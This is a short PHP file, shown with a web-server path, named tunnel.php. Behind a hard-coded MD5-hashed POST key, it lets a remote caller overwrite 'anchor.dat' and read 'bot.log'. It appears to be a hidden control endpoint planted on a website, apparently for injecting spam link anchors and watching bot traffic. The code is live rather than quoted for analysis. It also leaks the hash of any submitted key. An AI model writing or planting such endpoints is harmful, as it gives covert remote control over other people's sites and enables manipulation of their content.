File: /var/www/samok164/data/www2/culture-style.ru/tunnel/tunnel.php
<?
error_reporting(E_ALL);
// auth
$secret_key = 'f379a6de9f09ac541a9f04cae86148d2'; #! read from another file?
$anchor_file = 'anchor.dat';
if (!isset($_POST['secret_key']) || md5($_POST['secret_key']) != $secret_key) {
header('WWW-Authenticate: Basic realm="Authentication System"');
header('HTTP/1.0 401 Unauthorized');
echo "You cannot access this resource\n";
print md5($_POST['secret_key']);
exit;
}
if (isset($_POST['anchor_data'])) {
$anchor_data = $_POST['anchor_data'];
anchor_update($anchor_data);
print 'Succesful';
}
else if (isset($_POST['bot_log'])){
print get_bot_logs();
}
exit;
function get_bot_logs(){
return file_get_contents('bot.log');
}
function anchor_update($data){
writefile('anchor.dat', $data, 'w');
}
function writefile($filename, $data, $option = 'a'){
if (!file_exists($filename)) touch($filename);
if (is_writable($filename)){
$fp = fopen($filename, $option);
if ($fp)
{
if (!fwrite($fp, $data))
{
#! error_log(date("F j, Y, g:i a")." R4: File write failed!\n", 3, "{$r4_cfg_root}error.log");
}
fclose($fp);
}
}
}
?>